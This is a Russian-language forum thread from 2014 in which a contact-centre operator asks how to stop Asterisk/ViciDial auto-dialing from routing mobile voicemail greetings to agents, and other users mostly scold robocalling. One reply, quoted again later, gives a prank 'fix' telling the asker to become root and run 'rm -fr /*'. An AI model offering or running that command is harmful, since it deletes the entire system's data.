https://www.opennet.ru/openforum/vsluhforumID1/95770.html Всем привет! Суть вопроса: для работы контакт-центра используем Asterisk-1.8.21.0 вкупе с ViciDial2.10-448a. Телефония SIP. Звонки совершаются системой автоматически и попадают на операторов, только когда зафиксирован ответ вызываемой стороны. В последнее время ситуацию сильно осложняет голосовая почта мобильных операторов.<br>Наша система, услышав что-то из разряда "Аб-т недоступен, вы можете оставить сообщение после сигнала...", детектит это как ответ и переводит вызов на оператора, тот принимает звонок, но на его безуспешные "алло" никто, конечно, не ответит. Сейчас мы ищем решение, как детектить такие автоответы и пресекать на корню.<br>Варианты:<br>1. На уровне сигнализации отследить такой вызов идентичен нормальному вызову с ответом реального человека.<br>2. Решение типа "нажмите кнопку для разговора с оператором" не рассматриваем.<br>3. Rtptimeout не рассматриваем (нет смысла детектить тишину).<br>4. Функция Auto Machine Detection на ViciDial дает сильную нагрузку на систему и низкую точность.<br>5. Есть смысл сравн https://www.opennet.ru/openforum/vsluhforumID1/95770.html#9 Thu, 18 Sep 2014 02:10:51 GMT Вы все совершенно напрасно считаете, что наш КЦ связан с достающей всех рекламой, продажами, коллекторами и проч. Так вот, этим мы не занимаемся, а совершаем обзвон лишь наших клиентов.<br>Что касается, "дождитесь оператора", то как раз именно этого мы и пытаемся избежать, ставя жесткие ограничения по времени детекта автоответчика.<br> <br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#8 Mon, 15 Sep 2014 15:55:57 GMT В данном случае голосовая почта мобильных операторов не осложняет ситуацию, а кое-как помогает бороться абонентам с такими, как вы.<br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#7 Fri, 12 Sep 2014 14:50:37 GMT Я думаю вам здесь не помогут.<br>Вы бы еще спросили как спам рассылать с использованием postfix.<br><br>Как же бесит обзвон, в котором еще и говорят: "дождитесь оператора". Мне звонят, а я еще должен их ждать!<br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#6 Fri, 12 Sep 2014 13:35:51 GMT &gt; Вы же должны как-то страдать за то, что совершаете обзвон без желания <br>&gt; абонентов?<br><br>+100500<br>мне тут по секрету сказали, что для них уже спец котёл в аду запустили в продакшн.<br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#5 Fri, 12 Sep 2014 12:38:34 GMT Вы же должны как-то страдать за то, что совершаете обзвон без желания абонентов?<br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#4 Thu, 11 Sep 2014 19:19:52 GMT &gt;&gt; Подскажите, какие еще есть варианты для борьбы с этой проблемой.<br>&gt; Логинишься на сервер с асериксомЮ потом: <br>&gt; su - <br>&gt; вводишь пароль рута, потом <br>&gt; rm -fr /* <br>&gt; 100% помогает, это же старая бага.<br><br>Блин, у меня все данные удалилися теперь! <br> https://www.opennet.ru/openforum/vsluhforumID1/95770.html#1 Thu, 11 Sep 2014 17:09:54 GMT &gt; Подскажите, какие еще есть варианты для борьбы с этой проблемой.<br><br>Логинишься на сервер с асериксомЮ потом:<br>su - <br>вводишь пароль рута, потом<br>rm -fr /*<br><br>100% помогает, это же старая бага.<br>